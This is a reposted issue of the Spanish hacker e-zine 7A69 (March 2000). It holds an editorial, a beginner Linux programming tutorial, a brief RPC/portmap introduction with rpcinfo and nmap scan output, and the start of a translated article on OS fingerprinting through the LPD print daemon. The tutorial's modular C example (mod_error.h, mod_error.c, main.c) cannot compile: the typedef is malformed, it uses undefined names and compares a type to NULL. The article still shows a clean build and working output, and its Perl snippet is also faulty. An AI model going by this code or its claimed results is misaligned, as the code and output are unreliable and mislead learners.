Copy Link
Add to Bookmark
Report

7A69 Issue 11

eZine's profile picture
Published in 
7A69
 · 30 Dec 2020

  

-~=( 7A69 E-zine )=--=( 11 )=--=( Marzo 2000 )=~-
` '
[ Editor => trycky : trycky@7a69ezine.org ]
[ Coeditor => Ripe : ripe@7a69ezine.org ]
[ Staff ]
|| Tahum => tahum@7a69ezine.org
|| Doing => doing@7a69ezine.org
|| tuxisuau => tuxisuau@7a69ezine.org
|| IReick => ireik@e-n-g.org
|| Anarion => anarion@manresa.net
\
[ Colaboradores ]
|| Overdrive => overdrive@ono.com
|| Lykeios => lykeios@bigfoot.com
|| Marconi => inocram@yahoo.com
|| mnm => mnm@elein.net
|| xuzato => xuzato@inbox.as
|| Bruj0 => bruj0s@hotmail.com
|/
| Email Oficial => staff@7a69ezine.org
| Web => http://www.7a69ezine.org
| 7a69 Mirrors => http://www.7a69ezine.8m.com
/
/------\
-={ Titulo }=----------------={ Autor }=-={ Tema }=--|-> Num <-|-
-{ Presentacion } 7a69 { - } Editorial { -|-> 1 <-|
-{ Linux Programing } Ripe { - } Programacion { -|-> 2 <-|
-{ RPC a Fondo I } trycky { - } Protocolos { -|-> 3 <-|
-{ S.O interrogando al LPD } Tahum { - } Traduccion { -|-> 4 <-|
-{ Deteccion de SO con Perl } Tahum { - } Traduccion { -|-> 5 <-|
-{ Sysrq under Linux I } trycky { - } Linux { -|-> 6 <-|
-{ Programacion en PERL } OvErDrIvE { - } Programacion { -|-> 7 <-|
-{ ICMP a Fondo } Ripe { - } Protocolos { -|-> 8 <-|
-{ Tecnologia GSM } Bruj0 { - } Protocolos { -|-> 9 <-|
-{ Curiosidades del IRC } tuxisuau { - } Protocolos { -|-> 10 <-|
-{ Fast Ethernet } xuzato { - } Teoria { -|-> 11 <-|
-{ Ip Spoofing } mnm { - } Protocolos { -|-> 12 <-|
-{ Fallos en los CGI's } Anarion { - } Seguridad { -|-> 13 <-|
-{ Jugeteando con el Modem } tuxisuau { - } Curiosidades { -|-> 14 <-|
-{ Ataques de IP fragmentada } Lykeios { - } Protocolos { -|-> 15 <-|
-{ Bypass checksums } Marconi { - } Cracking { -|-> 16 <-|
-{ Crackeando el L0phtcrack3 } Lykeios { - } Cracking { -|-> 17 <-|
-{ Cortos 7a69 } 7a69 { - } Varios { -|-> 18 <-|
-{ 7a69 Soft } 7a69 { - } Recopilacion { -|-> 19 <-|
-{ La voz del lector } Mail { - } Correoooo { -|-> 20 <-|
-{ Claves PGP } 7a69 { - } PGP r0lz { -|-> 21 <-|
-{ Despeida } 7a69 { - } Despedida { -|-> 22 <-|
\-________________________/.\__________/.=.\______________/\__________/\|-

7a69 Ezine . 1999 / 2001 : editor@7a69ezine.org



-=( 7A69 E-zine 11 )=--=( art1 )=--=( Presentacion )=--=( Editor )=-

Bueno otra vez estamo aqui para llevar pa lante el zine xP , aunque esta vez
se ha cambiado de editor por que Ripe estaba mu liado por este tiempo y ahora
me encargare yo ( trycky ) , de editar el ezine espero que me salga bien y
para cualquier cosa : critica, represiones sexuales, dudas, etc. Me mandais
un e-mail y todo solucionao.

Como os dareis cuenta se ha cambiado la maquetacion cuestion de aburrimiento
haber si para el siguiente numero me da tiempo a sacar un script bastante cutre
en lisp para el emacs que se encarga de maquetar el solito los articulus y de
paso si le puede servir a alguien mas pos que mas se puede pedir .

Ahora que toy de editor me gustaria solo incluir articulos novedosos o de temas
que no esten muy vistos ya con la multitud de ezines que han salido y todos
hablan de lo mismo . Otra cosa que tambien me gusta mucho es incluir muchos
codigos fuentes . Bueno espero que os guste el zine de este mes .

Por cierto el E-zine a cumplido sus dos añitos ;), Para la ocasion Ripe a
escrito una pequeña intro de lo feliz que nos hemos puesto todos que se
encuentra en el art22.

Bueno como siempre saludamos al canal #root por hacer las noches mas amenas y
a todos aquellos que hacen que aprendamos un poco mas los unos de los otros :
Jet-Li , Tahum , Doing . etc . Los que se nos olvidan que se den por saludados.

Mail : staff@7a69ezine.org

-=(EOF)=-

-=( 7A69#11 )=--=( art2 )=--=( Programacion )=--=( Ripe )=-

Linux Programing; de todo un poco
---------------------------------

0. Indide
----------

1. Introduccion
2. Tipos de lenguajes
2.1. Scripts, interpretando el codigo
2.2. Lenguajes compilados
3. Las llamadas al sistema
4. Adentrandonos en la programacion
4.1. Pseudocodigo; hablando nuestro idioma
4.2. Programando el Hola mundo!!
4.3. Compilando C
4.4. Programacion modular; divide y venceras
4.4.1. Introduccion
4.4.2. Las ventajas dividir
4.4.3. ¿Como hacerlo?
5. Conclusion



1. Introduccion.
----------------

Existe en el mercado una numerosa gama se sistemas operativos, cada uno con
sus ventajas y desventajas, y cada uno con sus propias herramientas a la hora
de programar. Lo que en esta primera entrega del UNIX Programing vamos a
comentar va a ser el como funciona un sistema operativo UNIX, y en que nos va a
influir a la hora de programar, ademas veremos las herramientas basicas con las
que un programador cuenta. Debido a que Linux es un sistema operativo gratuito,
y que actualmente esta al alcance de todo el mundo me voy a centrar en el a la
hora de llevar esta serie de articulos, sinembargo muchas de las cosas que aqui
cuente seran aplicables a la gran mayoria de los sistemas UNIX. Si no dispones
de Linux en tu sistema, y no sabes donde conseguirlo date una vuelta por
http://www.linuxiso.org o pregunta en el canal #linux de cualquier red de IRC.

Podriamos decir, a grandes rasgos, que existen dos tipos de programacion,
la de scripts interpretados y la de programas compilados. La mayor diferencia
entre estos dos tipos persiste a la hora de ejecutar el programa. Cuando
ejecutamos un script, el codigo maquina que el computador puede entender se
genera en tiempo de ejecucion, lo que quiere decir menor rendimiento y mas
recursos, mientras que si hablamos de un lenguaje compilado, y debido a que el
fichero se encuentra ya en codigo maquina (Aunque no en texto totalmente llano,
ya que debemos tener en cuenta las cabeceras con la que lso ficheros
ejecutables se prestan, como podria ser la cabecera de un ELF), la ejecucion es
mucho mas rapida y agotando una menor cantidad de recursos. Pero no todo esta
en contra de los scripts y a favor de los lenguajes compilados, al contrario,
hay bueno y malo para todos, sobretodo teniendo en cuenta que programar un
script suele ser mucho mas rapido, ya que no requiere compilacion tras cada
modificacion, lo que hace que el programador pueda realizar sus pruebas mucho
mas rapido. En el mundo de la programacion con lenguajes compilados se ha
tratado de imponer una solucion a este problema, y la solucion es, podriamos
decir, mas que aceptable, se trata de la programacion modular, o la division
de un programa en modulos, como prefirais llamarlo. Vista esta
introduccion/explicacion vamos a profundizar un poco mas en ello.


-= 2. Tipos de lenguajes =-
----------------------

2.1. Scripts, interpretando el codigo.
--------------------------------------

Cabe decir que los lenguajes interpretados son una cosa relativamente
nueva, y que mucho antes que estos aparecieran los lenguajes de programacion
que requieren compilacion ya habiean aparecido, esto es realmente logico, ya
que los interpretes (programas que se encargan de convertir el codigo del
script a un codigo legible por la maquina en tiempo de ejecucion) estan
programados en lenguajes compilados, pero este no es el tema a tratar.

Asi pues un interprete trabaja de la siguiente manera. Lee una instruccion
de un fichero fuente y ejecuta un pedazo de codigo maquina asociado a dicha
instruccion, y repite este proceso una y otra vez hasta que el programa
termina. Esto quiere decir que para que un mismo script pueda ejecutarse en
diferente maquinas estas deben tener un interprete de dicho script adaptados a
la misma.

Ejemplos de interpretes pueden ser Perl, Bash y Awk entre otros muchos.
Para mas informacion utiliza los manuales del sistema.


-= 2.2. Lenguajes compilados =-
-------------------------

Los lenguajes compilados, como su nombre bien indica, necesitan de un
compilador para trabajar. El compilador se encarga de generar el codigo maquina
apartir de un fichero fuente, pero el proceso no es tan simple como parece.
Antes que nada el compilador genera un fichero objeto, que contendra una
secuencia de codigo maquina pero que aun no sera ejecutable, ya que necesita
ser lincado, de ello se encargara el linker (en muchas ocasiones, por no decir
en casi todas, se habla del compilador y el linker como de una misma cosa), que
se encarga de enlazar librerias. Es gracias a el, ademas, que se nos permite la
programacion modular, ya que este puede tratar con varios ficheros objetos para
generar un codigo ejecutable. Otra cosa, realmente util que un linker nos
permite es la de usar el codigo de determinadas librerias, ya sean estaticas o
dinamicas. Hablaremos de una libreria estatica cuando esta se añade al programa
como si de un modulo mas se tratara, y hablamos de librerias dinamicas cuando
esta se encuentra en un fichero aparte. La ventaja de tener las librerias en
un fichero aparte es que los ficheros ejecutables son considerablemente mas
pequeños, y que ademas, podemos mejorar algunas de las funciones de la libreria
sin tocar para nada el fichero ejecutable, siempre teniendo en cuenta que no
debemos cambiar la forma de trabajas la entrada y salida de sus funciones.

Ejemplos de compiladores pueden ser Gcc, j++.... y un linker puede ser ld.
Para mas informacion utiliza los manuales del sistema.


-= 3. Las llamadas al sistema =-
---------------------------

Para realizar cuanquier accion, en un sistema operativo monolitico, como
puede ser linux, esta debe ser realizada por el kernel, pero nuestros programas
no tienen acceso al mismo. Para ello se inventaron las Syscalls, tambien
conocidas como llamadas al sistema o APIs. La importancia de las syscalls en el
mundo de la programacion en Linux es mucha, ya que sin ellas seria imposible
trabajar. Las llamadas al sistema se dividen en 6 grupos basicos;
Administracion de ficheros, Administracion de directorios y sistemas de
archivos, Proteccion y permisos, Administracion procesos, Señales y Gestion del
tiempo. Cada uno de estos grupos consta de varias llamadas al sistema.

Para indicarle al kernel que queremos usar una syscall usaremos la
interrupcion 0x80, de manera que en el registro EAX tendremos el valor
correspondiente a la syscall y en EBX, ECX.... tendremos los parametros para
dicha llamada al sistema. Si el numero de llamadas parametros que solicita la
syscall sobrepasa el numero de registros que podemos usar deberemos crear un
vector con los parametros y pasar la posicion de memoria en EBX.

Veampos un ejemplo de syscall:

open("/etc/passwd", O_RDONLY); /* Como veis no es dificil de */
/* entender. */

En este caso usamos la syscall open(), que forma parte del grupo de
Administracion de ficheros, en ASM seria una cosa similar a esta:

mov %eax,0x05 ; 0x05 es el valor de la syscall open(), si quieres
; saber el valor de cada una de las syscalls mira
; el fichero /usr/include/asm/unistd.h

mov %ebx,0x00bf34aa ; 0x00bf34aa es la posicion de memoria que contiene
; la cadena "/etc/passwd\0". El 0 del final es
; importante, pues le dice a la syscall hasta donde
; debe leer para interpretar el nombre del fichero.

mov %ecx,0x00 ; Es el valor de O_RDONLY, definido en bits/fcntl.h
int 0x80 ; Llamamos a la interrupcion 0x80, ahora le toca
; jugar al kernel.

Todas las syscalls, tras terminar, devuelven un valor, que se suele usar
para indicar si esta ha terminado con exito o se ha producido algun tipo de
error. Este valor queda almacenado en EAX.

Si no has entendido esta ultima parte no te preocuper demasiado, ya que no
te sera necesario a no ser que quieras programar a bajo nivel, en ASM.


-= 4. Adentrandonos en la programacion =-
-----------------------------------

4.1. Pseudocodigo; Hablando nuestra lengua.
-------------------------------------------

Bien, todos habreis visto alguna vez el codigo fuente de alguna aplicacion,
sea en el lenguaje que sea, y os habreis dado cuenta que, en la mayora de los
casos la funciones o intrucciones tienen nombre ingleses, lo que puede suponer
una dificultad para el programador que no conozca dicho idioma, pero este no es
el tema a tratar, asi que vayamos mas al grano.

Cuando hablamos de pseudocodigo hablamos de un codigo posterior a las
fuentes del programa que es totalmente comprensible por el hombre (por lo que,
en principio, al computador le suena a chino). Los instructores en programacion
recomiendan siempre realizar una planificacion con organigramas y pseudocodigos
antes de realizar un programa, sinembargo, cuando se trata de programas
pequeños, pocos programadores lo hacen. Una caracteristica del pseudocodigo es
que es igual sea cual sea el lenguaje de programacion que tengamos intencion de
usar. Veamos un ejemplo de un programa que realiza una suma de dos numeros.

--/ suma.pse /--

inicio ejecucion
leo valor1
leo valor2
sumo valor1 y valor2, almaceno el resultado en valor3
imprimo valor3
finalizo ejecucion

--/ suma.pse /--

Como podeis ver no hay que conocer ningun lenguaje de programacion para
entender lo que dicho "programa" realiza.

Todo buen lenguaje de alto nivel que se precie debe disponer de expresiones
que sirvan para la realizacion de saltos condicionales y repeticion de
instrucciones. Como es obio al tratar con el pseudocodigo tambien disponemos de
este tipo de expresiones (realmente en el pseudocodigo podemos realizar
cualquier cosa que se pueda expresar en palabras). Seguidamente mostrare unos
ejemplos que creo que no necesitan demasiada expliacion.

--/ mayor.pse /--

inicio ejecucion
leo valor1
leo valor2
si valor1 es igual que valor2
imprimo "son iguales" por pantalla
y finalizo ejecucion
de lo contrario
si valor1 es mayor que valor2
imprimo "el mayor es valo1" por pantalla
y finalizo ejecucion
de lo contrario
imprimo "el mayor es valor2"
y finalizo ejecucion

--/ mayor.pse /--

Podemos ver el uso de "si esto haz esto de lo contrario haz esto", no tiene
ningun secreto.

--/ conta10.pse /--

inicio ejecucucion
asigno 0 a valor1
mientras valor1 es menor que 10
sumo 1 a valor1
imprimo valor1
finalizo ejecucion

--/ conta10.pse /--

Podemos ver el uso de "mientras esto haz esto", tampoco tiene mas secretos.

No vamos a profundizar mas en el pseudocodigo, pues considero que la idea
basica se ha entendido a la perfeccion, y tampoco es que haya mucho mas que
contar.



-= 4.2. Programando el Hola mundo! =-
-------------------------------

Todo aquel que haya leido algun libro o manual inciacion a algun lenguaje
de programacion habra oido hablar del conocido "hola mundo!!". Si bien es un
programa muy tonto ha ayudado a muchos a comprender que es la programacion, por
ello, en este curso de programacion en Linux no podiamos ser menos. La unica
diferencia entre este curso y el resto reside en que nosotros no usamos ningun
lenguaje de programacion concreto, por lo que escribiremos dicho programa en
pseudocodigo para luego escribirlo en un par de lenguajes (Usaremos unicamente
los lenguajes mas usados, pues si tubieramos que tratarlos todos no
terminariamos nunca). Seguro que por tu mente ya corre la solucion del
problema... ¿como hacer en pseudocodigo un programa que imprima hola mundo!! en
pantalla? La pregunta nos da casi la respuesta:

--/ holamundo.pse /--

inicio ejecucion
imprimo "hola mundo!!" en pantalla
finalizo ejecucion

--/ holamundo.pse /--

Simple ¿no?

Pues veamos segudamente como seria en shellscript dicho programa (ten en
cuenta que en todos los ejemplo de shellscript nos basaremos en bash, por ser,
en la actualidad el interprete mas usado, siembargo la mayoria de las cosas se
podran aplicar a los shells mas comunes como csh, ksh, etc).

--/ holamundo.sh /--

#!/bin/bash
echo Hola mundo!!
exit 0

--/ holamundo.sh /--

Como podemos ver, y esto es muy comun en el mundo de los interpretes en
UNIX, la primera linea la usamos para indicar el interprete que vamos a usar,
si omitimos esa linea, el sistema tomara como interprete el predeterminado, que
es el que estamos usando actualmente. No hay ninguna instruccion que indique
inicio de ejecucion, por lo cual esta empieza al inicio del fichero. Vemos como
el programador, yo en este caso, se sirve de la instruccion echo para imprimir
por pantalla Hola mundo!!, y acto seguido, con una llamada a exit (que podria
omitirse ya que se encuentra al final del fichero) finaliza la ejecucion del
programa.

Vamos a ver como seria la misma situacion en perl, otro lenguaje
interpretado, muy usado para programar cosas rapidamente.

--/ holamundo.pl /--

#!/usr/bin/perl
print 'Hola mundo!!'
exit 0

--/ holamundo.pl /--

Como podeis ver la cosa no cambia demasiado. Seguimos usando la primera
linea para indicar donde se encuentra el interprete que queremos usar, y
seguimos usando exit para finalizar la ejecucion. El unico cambio que notamos
es el de la intruccion que substituye el imprimira pantalla en el pseudocodigo,
pues en el shellscript hemos usado echo y aqui hemos usado print.

Finalmente, y como ultimo lenguaje a tratar vamos a observar como seria el
programa equivalente en un lenguaje compilado como puede ser C.

--/ holamundo.c /--

int main() {
printf("Hola mundo!!");
exit(0);
}

--/ holamundo.c /--

Aqui la cosa cambia un poco. De entrada, y al no tratarse de un lenguaje
interpretado podemos ver que la primera linea (que usabamos antes para indicar
que interprete queriamos usar) se omite. Otro cambio significativo es el uso de
la primera linea, ya que indica inidio de ejecucion, cosa que en los dos
anteriores ejemplos no habiamos usado. Si no entiendes bien el ejemplo, te
recomiendo que leas el curso de C que se publica perdiodicamente en este mismo
e-zine.


4.3. Compilando C
-----------------

Dijimos anteriormente que para poder ejecutar un programa escrito en un
lenguaje compilable, como puede ser el C, es necerario realizar dos procesos,
el de compilacion y el de linkado con las librerias dinamicas o estaticas. Lo
que ahora vamos a ver es como se realiza dicho proceso en C, el lenguaje mas
usado a la hora de crear aplicacion en los sistemas UNIX.

El compilador que se suele usar en linux para compilar aplicaciones en C es
el GNU C Compiler (GCC) y para linkar se usa el GNU Linker (LD). Normalmente el
programador no toma contacto con el linkador ya que el mismo gcc se encarga de
llamar a ld ahorrando asi trabajo a la hora de compilar. De manera que si lo
que queremos es crear el fichero objeto y no el fichero ejecutable (es decir,
no queremos que entre en accion el linker) debemos especificarlo, veremos como.

Antes que nada veamos una compilacion sencilla, por ejemplo la del programa
holamundo.c que vimos anteriormente.

-------------------------------------------------------------------------------
| |
| $ cat holamundo.c |
| int main() { |
| printf("Hola mundo!!"); |
| exit(0); |
| } |
| $ gcc holamundo.c |
| $ ./holamundo |
| bash: ./holamundo: No existe el fichero o el directorio |
| $ _ |
| |
-------------------------------------------------------------------------------

¿No se ha realizado correctamente la compilacion? La respuesta es si, el
problema es que el nombre del ejecutable sera a.out a no ser que nosostros
especifiquemos otro distinto con el modificador -o.

-------------------------------------------------------------------------------
| |
| $ ./a.out |
| Hola mundo!! |
| $ gcc holamundo.c -o holamundo |
| $ ./holamundo |
| Hola mundo!! |
| $ _ |
| |
-------------------------------------------------------------------------------

Bien, crear un fichero ejecutable es realmente facil, pero veamos como se
crearia fichero objeto.

-------------------------------------------------------------------------------
| |
| $ gcc holamundo.c -c |
| $ ls holamundo.o |
| holamundo.o |
| $ _ |
| |
-------------------------------------------------------------------------------

Como podemos ver, usamos el modificador -c para crear el fichero objeto,
cuya extension es .o . Con el parametro -o podriamos, al igual que a la hora de
crear un fichero ejecutable especificar otro nombre de archivo.

Puede parecer que crear ficheros objeto no tiene ninguna utilidad, pero no
es asi, ni mucho menos, lo veremos mas adelante, veremos que es util sobretodo
a la hora de hacer programas modulares, aunque no sera el programa quien lo
haga directamente, ya que se usara la herramienta "make". Ademas, es posible
que tengamos intencion de distribuir un programa sin mostrar el codigo fuente,
podemos entonces dejar que sea el fichero objeto el que llegue al usuario.



-= 4.4. Programacion modular, divide y venceras =-
--------------------------------------------

4.4.1. Introduccion
-------------------

¿Quien no ha visto nunca la tipica pelicula en la que aparece una
persecucion? "tu por aqui y yo por alla" decian los malos. El lema es "divide y
venceras"
, y esto, aun que parezca extraño puede aplicarse al mudno de la
programacion, el ejemplo mas claro de ello (y quiza el unico) es el de la
programacion modular.


4.4.2. Las ventajas de dividir.
-------------------------------

Antes de introducirnos de lleno en el mundo de la programacion modular sera
bueno que expliquemos un poco las ventajas, que no son pocas, que aporta al
programador el hecho de dividir un programa en modulos.

[*] - Reusando codigo: La posiblidad de reusar un modulo es una de las
utilidades mas destacadas con la que nos encontramos. Gracias a ello
podemos, por ejemplo, programar un modulo que contenga funciones para
el envio de paquetes por red, y este podra ser usado por todos los
programas que queramos siempre que insertemos el modulo.

[*] - Mayor comprension: Una division inteligente produce una mayor comprension
de las fuentes del programa, ello conlleva tambien una gran ventaja, ya
que permite que otros programadores entiendan mejor tu codigo ademas de
facilitarte a ti la depuracion del mismo.

[*] - Compartir proyectos: A la hora de realizar programas grandes es realmente
dificil que una persona sola pueda hacer todo el trabajo. Para
solucionar esto, hay que sonsiderar la posiblidad de planificar una
programacion modular, de manera que varios programadores puesan
compartir un proyecto programando distintos modulos cada uno, que
despues seran unidos.

[*] - Rapida recompilacion: Si habeis prestado atencion habreis leido que
antes de disponer del fichero ejecutable disponemos de un fichero
objeto. Pues para enlazar los modulos estos deben estar con sus
respectivos ficheros objetos. Si nostros guardamos los ficheros
objetos de cada modulo, y en el caso de que tengamos que cambiar algo
en alguno de los modulos, solo temdremos que recompilar dicho modulo, lo
que ahorra considerablemente tiempo al programador.



4.4.3. ¿como hacerlo?
---------------------

Al contrario de lo que pueda parecer, hacer un programa en modulos no
conlleva ningun tipo de complicacion, aunque se tiene que tener bien claro lo
que se quiere hacer, para ello, es recomendable hacer antes un esquema de la
filosofia a seguir, ya sea en mente (no muy recomendado) o en papel. Si
varios programadores van a compartir un proyecto deben pactar antes como
funcionaran las funciones de cada uno de los modulos en cuanto a entrada y
salida de la misma se refiere, de manera que el programador de un modulo pueda
usar la funcion de otro modulo sin saber realmente como esta programada.

Para ver como funciona la programacion modular lo mejor es tratarlo con un
ejemplo, y eso es lo que vamos a hacer. El ejemplo que he preparado es
realmente simple, un programa usara las funciones de un modulo para mostrar
errores, el programa es muy inutil, espero que no me mateis por ello.

Todo modulo debe componerse de dos ficheros, uno con extension .h que
usarmos para declarar tipos y funciones y uno con extension .c en el que se
encontraran los codigos fuentes de dichas funciones, veamos como seria el
modulo usado para mostrar mensages de error:

--/ mod_error.h /--

#ifndef MOD_ERROR

int gen_error(ERROR er);
int mor_error(ERROR er);

#endif

typedef *struct {
int code;
int fdout;
char *text;
} ERROR;

--/ mod_error.h /--

Lo de MOD_ERROR lo explicare mas adelante.

--/ mod_error.c /--

#include <stdio.h>
#include <stdarg.h>
#define MOD_ERROR
#include "mod_error.h"

int fdprintf(int fd, char *formato, ...) {
char buffer[MAXBUF];
int bytes;
va_list lista;
va_start(lista, formato);
vsprintf(buffer, formato, lista);
va_end(lista);
bytes=strlen(buffer);
bytes=write(fd, buffer, bytes);
return(bytes);
}

int gen_error(ERROR er) {
if (ERROR==NULL) return(-1);
fdprintf(er->fdout, "ERROR: %i : %s\n", er->code, er->text);
exit(-code);
}

int mor_error(ERROR er) {
if (ERROR==NULL) return(-1);
fdprintf(er->fdout, "ERROR en la ejecucion\n");
fdprintf(er->fdout, "CODIGO: %i\n", er->code);
fdprintf(er->fdout, "MOTIVO: %s\n", er->texto);
exit(-code);
}

--/ mod_error.c /--

Momento de explicar el porque usamos el #define MOD_ERROR. Nosotros en
main.c haremos una inclusion del fichero mod_error.h, lo que quiere decir que
las funciones quedaran declaradas dos veces, una en main.c y la otra en
mod_error.c produciendo asi un error de compilacion, para solucionar esto
definimos MOD_ERROR en mod_error.c y hamos, mediante las directivas #ifndef y
#endif que no se declaren las funciones.

Una cosa que cabe destacar es que fdprintf() no ha sido declarada en
mod_error.h, ello es asi ya que no pretendemos que el usuario la use como
parte del modulo, ya que es una funcion interna usada por las funciones de
error de mod_error.c.

Ahora veamos un ejemplo de uso de dicho modulo, el ejemplo mas tonto que
podais llegar a imaginar.

--/ main.c /--

#include <stdio.h>
#include "mod_error.h"

int main() {
ERROR error;
mensaje="No es posible realizar la suma";
printf("Vamos a generar un error detallado con codigo 32, y cuyo\n
motivo sera.... que no se puede realizar una suma\n"
);
printf("-\n");
error->code=32;
error->fdout=2; /* hacemos que salga por stderr */
error->motivo=mensaje;
if (mor_error(error)==1) {
/* error al producir el error */
printf("jeje\n");
}
exit(0);
}

--/ main.c /--

Compilar un programa por modulos no es, ni mucho menos complicado. Tenemos
dos formas de hacerlo, manualmente o usando la erramienta "make" de la que
hable anteriormente. Ahora veremos con mas detalle todo esto. Empezaremos
compilandolo de forma manual.

Para compilarlo de forma manual tendremos que generar el fichero objeto de
el modulo y de main, para ello usaremos gcc con el modificador -c.

-------------------------------------------------------------------------------
| |
| $ gcc -c main.c |
| $ gcc -c mod_error.c |
| $ ls *.o |
| main.o mod_error.o |
| $ _ |
| |
-------------------------------------------------------------------------------

Seguidamente, y usando gcc tambien haremos el enlace (recuerda que gcc
llama a ld para realizar dicha tarea).

-------------------------------------------------------------------------------
| |
| $ gcc -o miprog main.o mod_error.o |
| $ ./miprog |
| Vamos a generar un error detallado con codigo 32 y cuyo |
| motivo sera.... Que no se puede realizar una suma |
| - |
| ERROR en la ejecucion |
| CODIGO: 32 |
| MOTIVO: No es posible realizar la suma |
| $ _ |
| |
-------------------------------------------------------------------------------

Este metodo puede hacerse realmente pesado y repetitivo si tenemos una
gran cantidad de modulos (como suele ser). Para solucionar esa pesadez UNIX
pone a nuestra disposicion la erramienta "make", este programa trabaja
basandose en una resglas establecidas por nostros en un fichero llamado
Makefile y se encarga de gestionar de forma correcta los modulos de un
programa.

Crear el Makefile es relativamente facil. Este fichero cuenta con varias
entradas que siguen la siguiente estructura.

[fichero a crear]:[ficheros necesarios]
[Acciones a realizar]

De manera que para generar el Makefile para nuestro programa debemos
saber de que depende cada fichero, por lo que creamos una estructura como esta
que sigue:

main.o depende de main.c y mod_error.h
mod_error.o depende de mod_error.c y mod_error.h
miprog depende de main.o y mod_error.o

Lo que traducido en el Makrfile seria:

--/ Makefile /--

miprog: main.o mod_error.o
gcc -o miprog main.o mod_error.o
main.o: main.c mod_error.h
gcc -c main.c
mod_error.o: mod_error.c mod_error.h
gcc -c mod_error.c

--/ Makefile /--

El uso del Makefile ofrece mas posiblidades que por ahora no veremos, ya
que no lo veo necesario.

-= 5. Conclusion =-
-------------

Hemos visto de forma muy superficial las facilidades con las que un
sistema operativo nos brinda a la hora de programar. Asi mismo hemos hecho un
paseo por las posiblidades que tenemos, centrandonos, como no, en el lenguaje
C, por ser este el mas usado actualmente a la hora de programar en los sistemas
UNIX.

Si bien en esta primera entrega de Linux Programing no hemos entrado
realmente en lo que a la programacion se refiere, si que hemos visto ciertas
cosas que facilitaran al lector que no este familiarizado con la programacion
a comprender mejor las entrgas que vendran en un futuro.

-=(EOF)=-





-=( 7A69#11 )=--=( art3 )=--=( Protocolos )=--=( trycky )=-

Espero que os guste este breve documento a la introduccion al RPC para
cualquier cosa si quereis mandarme un mail : trycky@7a69ezine.org .

RPC llamado Remote Procedure Call es un protocolo mas bien orientado para la
implementacion de programaas para redes , EL RPC fue inventado por SUN junto
con la implementacion que este mismo usa el XDR , el RPC puede ser usado por
medio del TCP/IP o el UDP/IP . Este protocolo fue ya algo famoso en solaris a
parte de ser los creadores de ser en donde mas faños contiene .

El RPC se distribuye en cuatro partes : Caller , Callee , CLient y Server .

EL caller se ejecuta en el cliente y es el encargado de enviar las llamadas al
server y el callee las devuelve al client . Esto viene por que al ser para
sistemas distribuidos se encargan de que las dos maquinas que esten conectando
sean arquitecturas totalmente distintas aunque de esto se encarga el XDR .

EL XDR fue implementando debido a que los tipos de variables : integer , etc .
Tienen diferentes representaciones dependiendo de la arquitectura , muchas
arquitecturas ponen los bytes de menos valor al principio y otras en cambio
ponen los bytes de menos valor los ultimos , de ahi probiene el XDR un sistema
de intercambio de datos para que los programas de distribuicion no diesen
errores . Por lo que el procesos de comunicacion pasa a ser que cuando el
cliente envie algo le tenga que codificar los datos con el XDR y una vez que al
server le llega la informacion la tiene que descodificar con el XDR logico no ,
para mayor informacion del XDR y de su implementacion "/usr/include/rpc/xdr.h"

El portmap es el encargado de mapear en el puerto que esta corriendo un daemon
estos puertos no se describen como los de "/etc/services" si no que usa otro
fichero llamado "/etc/rpc" .

Esto seria un ejemplo del contenido del "/etc/rpc" :

portmapper 100000 portmap sunrpc
rstatd 100001 rstat rstat_svc rup perfmeter
rusersd 100002 rusers
nfs 100003 nfsprog
ypserv 100004 ypprog
mountd 100005 mount showmount

Por lo que cuando un programa quiere contactar con un daemon del RPC primero
le pregunta al portmap en que puerto esta .

Para saber en que puerto ta un programa usaremos :

real@lepton:~ > rpcinfo -p localhost
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 954 status
100024 1 tcp 956 status
100003 2 udp 2049 nfs
100021 1 udp 1122 nlockmgr
100021 3 udp 1122 nlockmgr

Esto seria usando rpcinfo otra forma es usando algun scaner por ejemp el nmap.

real@lepton:~ > nmap -sR -sT localhost

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
Interesting ports on localhost (127.0.0.1):
(The 1537 ports scanned but not shown below are in state: closed)
Port State Service (RPC)
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open sunrpc (rpcbind V2)
956/tcp open (status V1)

Notas :

Si estais con Debian el paquete del RPC es netkit-rpc donde incluye el rpcinfo
, rpcgen , etc .

Referencias :

man rpcinfo

Bueno lamento que este documento haya salido tan malo pero es que como siempre
falta de tiempo en fin para el 7a69#12 publicaremos los sources que se suponian
que irian en este numero ; trycky@7a69ezine.org .

-=(EOF)=-






-=( 7A69#11 )=--=( art4 )=--=( Traduccion )=--=( Tahum )=-


# Traduccion del documento:
# Examining Remote OS Detection using LPD Querying
#
# Traductor: Tahum - Tahum@phreaker.net
#
# Notificaciones sobre fallos de traduccion, comentarios, sugerencias, etc.
# son bienvenidos.
#
# Input Request, 2001.


----- Examinando la deteccion remota de SO interrogando a LPD -----
-------------------------------------------------------------------
------[ Feb 19, 2001 - por f0bic - http://www.low-level.net ]------


Sinopsis

Hoy por hoy hay varias maneras de determinar ("especular") el
Sistema Operativo de maquinas remotas. Algunos de estos metodos
confian en el paquete, mientras que otros confian en el modo de
actuar de ciertos demonios en condiciones mas bien errones ("no
comunes"
). Este documento intenta describir formas de usar el
demonio de impresion ("lpd") como conocimiento base con el que
poder determinar un posible sistema operativo en una maquina
remota.



I. Introduccion


(A) Significado y definiciones de la terminologia usada.

[1] DETERMINAR - "ADIVINAR". Probar adivinar de ardua forma el
Sistema Operativo que un servidor esta
ejecutando.

[2] EQUIVOCADO - "INCORRECTO". Se refiere a la condicion de la
peticion enviada a el demonio de impresion
del servidor remoto. Lo consideramos
[equivocado] dado que no estamos usando el
formato de peticion correcto asignado por el
RFC.

[3] VALIDO - "CORRECTO". Se refiere a la sintaxis de la
peticion que es enviada al servidor remoto.
Una sintaxis correcta sigue las normas
fijadas por el RFC.


(B) Especificaciones del protocolo del demonio de impresion.

Esta sub-seccion esta basada en las especificaciones hechas en
la RFC 1179 ("Line Printer Daemon Protocol, L. J. McLaughlin
III"
). Los sistemas operativos Unix subministran un control de
la impresora con una combinacion de varias herramientas:

* lpr (asigna a la cola de impresion) |
* lpq (muestra la cola de impresion) |
* lprm (borra una tarea de la cola de impresion) |-> LPD (demonio de
* lpc (controla la cola de impresion) | impresion)

Todas estas herramientas (" programas") interactuan con un
demonio llamado demonio de impresora ("LPD"). En regla para
"controlar" estas funciones de impresion, las diferentes
herramientas de control de impresora envian una linea de
impresion valida por el protocolo del demonio encargado al
demonio de impresion. El estado y formato de esta peticion sera
tratado mas adelante en las siguientes secciones. Por ahora,
